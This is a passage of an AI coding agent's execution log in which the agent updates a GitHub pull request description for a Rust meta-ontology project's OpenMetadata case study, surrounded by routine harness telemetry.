oRjGITsgJAMyyEzya5tLs0M1x_5Msa\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:22.660Z] [INFO] \n[2026-07-12T04:08:22.689Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_51\",\"type\":\"reasoning\",\"text\":\"**Fixing command body interpolation**\"}}\n[2026-07-12T04:08:22.689Z] [INFO] \n[2026-07-12T04:08:22.697Z] [INFO] 2026-07-12T04:08:22.697031Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531336a4988191b4af1327f2232e37\"), status: Some(\"in_progress\"), call_id: \"call_a1AKAgaflh5lAPIeIRCJHq5w\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:22.697Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] 2026-07-12T04:08:34.253984Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const body=`## Summary\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:34.256Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:34.256Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:34.256Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:34.256Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:34.256Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Fixes #5\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Research method\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:34.256Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:34.256Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:34.256Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:34.256Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Deliverables\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Verification\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:34.256Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:34.256Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:34.256Z] [INFO] const sq=s=>\"'\"+s.replaceAll(\"'\",\"'\\\"'\\\"'\")+\"'\";\n[2026-07-12T04:08:34.256Z] [INFO] const cmd=`gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body=${sq(body)} --jq '.html_url'`;\n[2026-07-12T04:08:34.256Z] [INFO] const r=await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output);\n[2026-07-12T04:08:34.256Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266072Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531333730881919596ddec0b172be0\"\n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266108Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76977 output_token_count=755 cached_token_count=75520 reasoning_token_count=75 tool_token_count=77732 ttft_ms=1160 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:34.266Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266127Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76977 output_token_count=755 cached_token_count=75520 reasoning_token_count=75 tool_token_count=77732 ttft_ms=1160 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:34.266Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.268Z] [INFO] \n[2026-07-12T04:08:34.336Z] [INFO] 2026-07-12T04:08:34.335945Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 decision=approved source=Config event.timestamp=2026-07-12T04:08:34.335Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.336Z] [INFO] \n[2026-07-12T04:08:34.507Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_52\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under \\\"'`docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\\\\\"'\\\\\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- \\\"'`docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.'\\\"' --jq '.html_url'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:34.507Z] [INFO] \n[2026-07-12T04:08:35.205Z] [INFO] 2026-07-12T04:08:35.204147Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.' --jq '.html_url'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=868 success=true output=Chunk ID: 1fde14\n[2026-07-12T04:08:35.205Z] [INFO] Wall time: 0.6979 seconds\n[2026-07-12T04:08:35.205Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:35.205Z] [INFO] Original token count: 14\n[2026-07-12T04:08:35.205Z] [INFO] Output:\n[2026-07-12T04:08:35.205Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:35.205Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:35.204Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.205Z] [INFO] 2026-07-12T04:08:35.204480Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 duration_ms=868 success=true arguments_length=2727 output_length=159 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:35.204Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.205Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.220848Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w arguments=const body=`## Summary\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:35.225Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:35.225Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:35.225Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:35.225Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:35.225Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Fixes #5\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Research method\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:35.225Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:35.225Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:35.225Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:35.225Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Deliverables\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Verification\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:35.225Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:35.225Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:35.225Z] [INFO] const sq=s=>\"'\"+s.replaceAll(\"'\",\"'\\\"'\\\"'\")+\"'\";\n[2026-07-12T04:08:35.225Z] [INFO] const cmd=`gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body=${sq(body)} --jq '.html_url'`;\n[2026-07-12T04:08:35.225Z] [INFO] const r=await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output);\n[2026-07-12T04:08:35.225Z] [INFO]  duration_ms=942 success=true output=Script completed\n[2026-07-12T04:08:35.225Z] [INFO] Wall time 0.9 seconds\n[2026-07-12T04:08:35.225Z] [INFO] Output:\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:35.225Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:35.220Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.220911Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w duration_ms=942 success=true arguments_length=2831 output_length=104 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:35.220Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.221137Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=943 total_duration_ms=943\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.296Z] [INFO] 2026-07-12T04:08:35.293028Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:35.296Z] [INFO] \n[2026-07-12T04:08:35.309Z] [INFO] 2026-07-12T04:08:35.309380Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:35.309Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.309Z] [INFO] \n[2026-07-12T04:08:35.313Z] [INFO] 2026-07-12T04:08:35.310176Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:35.310Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.313Z] [INFO] \n[2026-07-12T04:08:35.318Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_52\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under \\\"'`docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\\\\\"'\\\\\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- \\\"'`docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.'\\\"' --jq '.html_url'\\\"\",\"aggregated_output\":\"https://github.com/link-foundation/meta-ontology/pull/6\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:35.318Z] [INFO] \n[2026-07-12T04:08:35.322Z] [INFO] 2026-07-12T04:08:35.312633Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" 